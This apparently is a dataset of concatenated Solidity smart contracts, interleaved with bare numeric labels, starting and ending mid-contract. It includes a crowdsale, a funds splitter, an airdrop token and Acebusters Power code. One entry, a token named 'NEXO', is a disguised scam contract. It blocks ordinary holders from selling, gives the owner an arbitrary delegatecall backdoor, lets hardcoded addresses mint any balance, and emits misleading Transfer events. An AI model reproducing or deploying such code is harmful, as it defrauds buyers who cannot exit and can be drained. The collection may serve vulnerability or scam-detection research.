"Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } pragma solidity 0.8.4; interface ICollabFundsHandler { function init(address[] calldata _recipients, uint256[] calldata _splits) external; function totalRecipients() external view returns (uint256); function shareAtIndex(uint256 index) external view returns (address _recipient, uint256 _split); } pragma solidity 0.8.4; abstract contract CollabFundsHandlerBase is ICollabFundsHandler { uint256 internal constant modulo = 100_00000; address[] public recipients; uint256[] public splits; bool internal locked = false; function init(address[] calldata _recipients, uint256[] calldata _splits) override virtual external { require(!locked, "contract locked sorry"); uint256 total; for (uint256 i = 0; i < _splits.length; i++) { total = total + _splits[i]; } require(total == modulo, "Shares dont not equal 100%"); locked = true; recipients = _recipients; splits = _splits; } function totalRecipients() public override virtual view returns (uint256) { return recipients.length; } function shareAtIndex(uint256 _index) public override view returns (address recipient, uint256 split) { recipient = recipients[_index]; split = splits[_index]; } } pragma solidity 0.8.4; interface ICollabFundsDrainable { event FundsDrained(uint256 total, address[] recipients, uint256[] amounts, address erc20); function drain() external; function drainERC20(IERC20 token) external; } interface ICollabFundsShareDrainable is ICollabFundsDrainable { function drainShare() external; function drainShareERC20(IERC20 token) external; } pragma solidity 0.8.4; contract ClaimableFundsReceiverV1 is ReentrancyGuard, CollabFundsHandlerBase, ICollabFundsDrainable { receive() external virtual payable { } function drain() public nonReentrant override { uint256 balance = address(this).balance; require(balance > 0, "No funds to drain"); uint256[] memory shares = new uint256[](recipients.length); uint256 singleUnitOfValue = balance / modulo; uint256 sumPaidOut; for (uint256 i = 0; i < recipients.length; i++) { shares[i] = singleUnitOfValue * splits[i]; if (i != 0) { payable(recipients[i]).call{value : shares[i]}(""); } sumPaidOut += shares[i]; } uint256 remainingBalance = balance - sumPaidOut; payable(recipients[0]).call{value : remainingBalance + shares[0]}(""); emit FundsDrained(balance, recipients, shares, address(0)); } function drainERC20(IERC20 token) public nonReentrant override { uint256 balance = token.balanceOf(address(this)); require(balance > 0, "No funds to drain"); uint256[] memory shares = new uint256[](recipients.length); uint256 singleUnitOfValue = balance / modulo; uint256 sumPaidOut; for (uint256 i = 0; i < recipients.length; i++) { shares[i] = singleUnitOfValue * splits[i]; if (i != 0) { token.transfer(recipients[i], shares[i]); } sumPaidOut += shares[i]; } uint256 remainingBalance = balance - sumPaidOut; token.transfer(recipients[0], remainingBalance + shares[0]); emit FundsDrained(balance, recipients, shares, address(token)); } } pragma solidity 0.8.4; contract ClaimableFundsSplitterV1 is ClaimableFundsReceiverV1 { receive() external override payable { drain(); } }
0
2,556
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract NEXO { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,478
pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require(token.approve(spender, value)); } } contract Crowdsale { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 private _token; address private _wallet; uint256 private _rate; uint256 private _weiRaised; event TokensPurchased( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 rate, address wallet, IERC20 token) public { require(rate > 0); require(wallet != address(0)); require(token != address(0)); _rate = rate; _wallet = wallet; _token = token; } function () external payable { buyTokens(msg.sender); } function token() public view returns(IERC20) { return _token; } function wallet() public view returns(address) { return _wallet; } function rate() public view returns(uint256) { return _rate; } function weiRaised() public view returns (uint256) { return _weiRaised; } function buyTokens(address beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased( msg.sender, beneficiary, weiAmount, tokens ); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } function _preValidatePurchase( address beneficiary, uint256 weiAmount ) internal { require(beneficiary != address(0)); require(weiAmount != 0); } function _postValidatePurchase( address beneficiary, uint256 weiAmount ) internal { } function _deliverTokens( address beneficiary, uint256 tokenAmount ) internal { _token.safeTransfer(beneficiary, tokenAmount); } function _processPurchase( address beneficiary, uint256 tokenAmount ) internal { _deliverTokens(beneficiary, tokenAmount); } function _updatePurchasingState( address beneficiary, uint256 weiAmount ) internal { } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } function _forwardFunds() internal { _wallet.transfer(msg.value); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _openingTime; uint256 private _closingTime; modifier onlyWhileOpen { require(isOpen()); _; } constructor(uint256 openingTime, uint256 closingTime) public { require(openingTime >= block.timestamp); require(closingTime >= openingTime); _openingTime = openingTime; _closingTime = closingTime; } function openingTime() public view returns(uint256) { return _openingTime; } function closingTime() public view returns(uint256) { return _closingTime; } function isOpen() public view returns (bool) { return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > _closingTime; } function _preValidatePurchase( address beneficiary, uint256 weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(beneficiary, weiAmount); } } contract PostDeliveryCrowdsale is TimedCrowdsale { using SafeMath for uint256; mapping(address => uint256) private _balances; function withdrawTokens(address beneficiary) public { require(hasClosed()); uint256 amount = _balances[beneficiary]; require(amount > 0); _balances[beneficiary] = 0; _deliverTokens(beneficiary, amount); } function balanceOf(address account) public view returns(uint256) { return _balances[account]; } function _processPurchase( address beneficiary, uint256 tokenAmount ) internal { _balances[beneficiary] = _balances[beneficiary].add(tokenAmount); } } contract FinalizableCrowdsale is TimedCrowdsale { using SafeMath for uint256; bool private _finalized = false; event CrowdsaleFinalized(); function finalized() public view returns (bool) { return _finalized; } function finalize() public { require(!_finalized); require(hasClosed()); _finalization(); emit CrowdsaleFinalized(); _finalized = true; } function _finalization() internal { } } contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { _owner = msg.sender; } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Whitelist is Ownable { mapping (address => bool) private whitelistedAddresses; mapping (address => bool) private admins; modifier onlyIfWhitelisted(address _addr) { require(whitelistedAddresses[_addr] == true, "Address not on the whitelist!"); _; } modifier onlyAdmins() { require(admins[msg.sender] == true || isOwner(), "Not an admin!"); _; } function addAdmin(address _addr) external onlyOwner { admins[_addr] = true; } function removeAdmin(address _addr) external onlyOwner { admins[_addr] = false; } function isAdmin(address _addr) public view returns(bool) { return admins[_addr]; } function addAddressToWhitelist(address _addr) public onlyAdmins { whitelistedAddresses[_addr] = true; } function whitelist(address _addr) public view returns(bool) { return whitelistedAddresses[_addr]; } function addAddressesToWhitelist(address[] _addrs) public onlyAdmins { for (uint256 i = 0; i < _addrs.length; i++) { addAddressToWhitelist(_addrs[i]); } } function removeAddressFromWhitelist(address _addr) public onlyAdmins { whitelistedAddresses[_addr] = false; } function removeAddressesFromWhitelist(address[] _addrs) public onlyAdmins { for (uint256 i = 0; i < _addrs.length; i++) { removeAddressFromWhitelist(_addrs[i]); } } } contract ClarityCrowdsale is Crowdsale, TimedCrowdsale, PostDeliveryCrowdsale, FinalizableCrowdsale, Whitelist { address private advisorWallet; uint256 private phaseOneRate; uint256 private phaseTwoRate; uint256 private phaseOneTokens = 10000000 * 10**18; uint256 private phaseTwoTokens = 30000000 * 10**18; mapping (address => address) referrals; modifier onlyFounders() { require(msg.sender == super.wallet() || isOwner(), "Not a founder!"); _; } constructor( uint256 _phaseOneRate, uint256 _phaseTwoRate, address _advisorWallet, address _founderWallet, uint256 _openingTime, uint256 _closingTime, IERC20 _token ) Crowdsale(_phaseTwoRate, _founderWallet, _token) TimedCrowdsale(_openingTime, _closingTime) public { advisorWallet = _advisorWallet; phaseOneRate = _phaseOneRate; phaseTwoRate = _phaseTwoRate; } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { if (phaseOneTokens > 0) { uint256 tokens = weiAmount.mul(phaseOneRate); if (tokens > phaseOneTokens) { uint256 weiRemaining = tokens.sub(phaseOneTokens).div(phaseOneRate); tokens = phaseOneTokens.add(super._getTokenAmount(weiRemaining)); } return tokens; } return super._getTokenAmount(weiAmount); } function _forwardFunds() internal { uint256 tokens; if (phaseOneTokens > 0) { tokens = msg.value.mul(phaseOneRate); if (tokens > phaseOneTokens) { uint256 weiRemaining = tokens.sub(phaseOneTokens).div(phaseOneRate); phaseOneTokens = 0; advisorWallet.transfer(msg.value.sub(weiRemaining)); tokens = weiRemaining.mul(phaseTwoRate); phaseTwoTokens = phaseTwoTokens.sub(tokens); super.wallet().transfer(weiRemaining); } else { phaseOneTokens = phaseOneTokens.sub(tokens); advisorWallet.transfer(msg.value); } return; } tokens = msg.value.mul(phaseTwoRate); phaseTwoTokens = phaseTwoTokens.sub(tokens); super._forwardFunds(); } function _preValidatePurchase( address beneficiary, uint256 weiAmount ) internal onlyIfWhitelisted(beneficiary) { require(tokensLeft() >= _getTokenAmount(weiAmount), "Insufficient number of tokens to complete purchase!"); super._preValidatePurchase(beneficiary, weiAmount); } function _finalization() internal onlyFounders { super.token().safeTransfer(super.wallet(), tokensLeft()); super._finalization(); } function tokensLeft() public view returns (uint256) { return phaseOneTokens + phaseTwoTokens; } function addReferral(address beneficiary, address referrer) external onlyAdmins onlyIfWhitelisted(referrer) onlyIfWhitelisted(beneficiary) { referrals[beneficiary] = referrer; } function _processPurchase( address beneficiary, uint256 tokenAmount ) internal { if (referrals[beneficiary] != 0) { uint256 tokensAvailable = tokensLeft().sub(tokenAmount); uint256 bonus = tokenAmount.mul(15).div(100); if (bonus >= tokensAvailable) { bonus = tokensAvailable; phaseTwoTokens = phaseTwoTokens.sub(tokensAvailable); } else { phaseTwoTokens = phaseTwoTokens.sub(bonus); } if (bonus > 0) { super._processPurchase(referrals[beneficiary], bonus); } } super._processPurchase(beneficiary, tokenAmount); } }
1
5,486
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function transferFrom(address from, address to, uint256 value) public returns (bool); } contract InvestLCE is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; address _tokenContract = 0x80D9bA39c7252CfeB23398D3DD32bfBE1772D790; AltcoinToken thetoken = AltcoinToken(_tokenContract); uint256 public tokensPerEth = 50000e8; uint256 public tokensPerAirdrop = 5e8; uint256 public bonus = 0; uint256 public airdropcounter = 0; uint256 public constant minContribution = 1 ether / 1000; uint256 public constant extraBonus = 1 ether / 10; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Distr(address indexed to, uint256 amount); event TokensPerEthUpdated(uint _tokensPerEth); event TokensPerAirdropUpdated(uint _tokensPerEth); modifier onlyOwner() { require(msg.sender == owner); _; } function InvestLCE () public { owner = msg.sender; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner { tokensPerAirdrop = _tokensPerAirdrop; emit TokensPerAirdropUpdated(_tokensPerAirdrop); } function () external payable { if ( msg.value >= minContribution) { sendTokens(); } else if ( msg.value < minContribution) { airdropcounter = airdropcounter + 1; sendAirdrop(); } } function sendTokens() private returns (bool) { uint256 tokens = 0; require( msg.value >= minContribution ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; bonus = 0; if ( msg.value >= extraBonus ) { bonus = tokens / 4; } tokens = tokens + bonus; sendtokens(thetoken, tokens, investor); } function sendAirdrop() private returns (bool) { uint256 tokens = 0; require( airdropcounter < 1000 ); tokens = tokensPerAirdrop; address holder = msg.sender; sendtokens(thetoken, tokens, holder); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function resetAirdrop() onlyOwner public { airdropcounter=0; } function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) { AltcoinToken anytoken = AltcoinToken(anycontract); uint256 amount = anytoken.balanceOf(address(this)); return anytoken.transfer(owner, amount); } function sendtokens(address contrato, uint256 amount, address who) private returns (bool) { AltcoinToken alttoken = AltcoinToken(contrato); return alttoken.transfer(who, amount); } }
0
1,363
pragma solidity ^0.4.11; contract PullPayInterface { function asyncSend(address _dest) public payable; } contract Governable { address[] public admins; function Governable() { admins.length = 1; admins[0] = msg.sender; } modifier onlyAdmins() { bool isAdmin = false; for (uint256 i = 0; i < admins.length; i++) { if (msg.sender == admins[i]) { isAdmin = true; } } require(isAdmin == true); _; } function addAdmin(address _admin) public onlyAdmins { for (uint256 i = 0; i < admins.length; i++) { require(_admin != admins[i]); } require(admins.length < 10); admins[admins.length++] = _admin; } function removeAdmin(address _admin) public onlyAdmins { uint256 pos = admins.length; for (uint256 i = 0; i < admins.length; i++) { if (_admin == admins[i]) { pos = i; } } require(pos < admins.length); if (pos < admins.length - 1) { admins[pos] = admins[admins.length - 1]; } admins.length--; } } contract StorageEnabled { address public storageAddr; function StorageEnabled(address _storageAddr) { storageAddr = _storageAddr; } function babzBalanceOf(address _owner) constant returns (uint256) { return Storage(storageAddr).getBal('Nutz', _owner); } function _setBabzBalanceOf(address _owner, uint256 _newValue) internal { Storage(storageAddr).setBal('Nutz', _owner, _newValue); } function activeSupply() constant returns (uint256) { return Storage(storageAddr).getUInt('Nutz', 'activeSupply'); } function _setActiveSupply(uint256 _newActiveSupply) internal { Storage(storageAddr).setUInt('Nutz', 'activeSupply', _newActiveSupply); } function burnPool() constant returns (uint256) { return Storage(storageAddr).getUInt('Nutz', 'burnPool'); } function _setBurnPool(uint256 _newBurnPool) internal { Storage(storageAddr).setUInt('Nutz', 'burnPool', _newBurnPool); } function powerPool() constant returns (uint256) { return Storage(storageAddr).getUInt('Nutz', 'powerPool'); } function _setPowerPool(uint256 _newPowerPool) internal { Storage(storageAddr).setUInt('Nutz', 'powerPool', _newPowerPool); } function powerBalanceOf(address _owner) constant returns (uint256) { return Storage(storageAddr).getBal('Power', _owner); } function _setPowerBalanceOf(address _owner, uint256 _newValue) internal { Storage(storageAddr).setBal('Power', _owner, _newValue); } function outstandingPower() constant returns (uint256) { return Storage(storageAddr).getUInt('Power', 'outstandingPower'); } function _setOutstandingPower(uint256 _newOutstandingPower) internal { Storage(storageAddr).setUInt('Power', 'outstandingPower', _newOutstandingPower); } function authorizedPower() constant returns (uint256) { return Storage(storageAddr).getUInt('Power', 'authorizedPower'); } function _setAuthorizedPower(uint256 _newAuthorizedPower) internal { Storage(storageAddr).setUInt('Power', 'authorizedPower', _newAuthorizedPower); } function downs(address _user) constant public returns (uint256 total, uint256 left, uint256 start) { uint256 rawBytes = Storage(storageAddr).getBal('PowerDown', _user); start = uint64(rawBytes); left = uint96(rawBytes >> (64)); total = uint96(rawBytes >> (96 + 64)); return; } function _setDownRequest(address _holder, uint256 total, uint256 left, uint256 start) internal { uint256 result = uint64(start) + (left << 64) + (total << (96 + 64)); Storage(storageAddr).setBal('PowerDown', _holder, result); } } contract Pausable is Governable { bool public paused = true; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyAdmins whenNotPaused { paused = true; } function unpause() onlyAdmins whenPaused { paused = false; } } contract ERC20Basic { function totalSupply() constant returns (uint256); function balanceOf(address _owner) constant returns (uint256); function transfer(address _to, uint256 _value) returns (bool); event Transfer(address indexed from, address indexed to, uint value); } contract ERC223Basic is ERC20Basic { function transfer(address to, uint value, bytes data) returns (bool); } contract ERC20 is ERC223Basic { function activeSupply() constant returns (uint256); function allowance(address _owner, address _spender) constant returns (uint256); function transferFrom(address _from, address _to, uint _value) returns (bool); function approve(address _spender, uint256 _value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract Power is Ownable, ERC20Basic { event Slashing(address indexed holder, uint value, bytes32 data); string public name = "Acebusters Power"; string public symbol = "ABP"; uint256 public decimals = 12; function balanceOf(address _holder) constant returns (uint256) { return ControllerInterface(owner).powerBalanceOf(_holder); } function totalSupply() constant returns (uint256) { return ControllerInterface(owner).powerTotalSupply(); } function activeSupply() constant returns (uint256) { return ControllerInterface(owner).outstandingPower(); } function slashPower(address _holder, uint256 _value, bytes32 _data) public onlyOwner { Slashing(_holder, _value, _data); } function powerUp(address _holder, uint256 _value) public onlyOwner { Transfer(address(0), _holder, _value); } function transfer(address _to, uint256 _amountPower) public returns (bool success) { require(_to == address(0)); ControllerInterface(owner).createDownRequest(msg.sender, _amountPower); Transfer(msg.sender, address(0), _amountPower); return true; } function downtime() public returns (uint256) { ControllerInterface(owner).downtime; } function downTick(address _owner) public { ControllerInterface(owner).downTick(_owner, now); } function downs(address _owner) constant public returns (uint256, uint256, uint256) { return ControllerInterface(owner).downs(_owner); } } contract Storage is Ownable { struct Crate { mapping(bytes32 => uint256) uints; mapping(bytes32 => address) addresses; 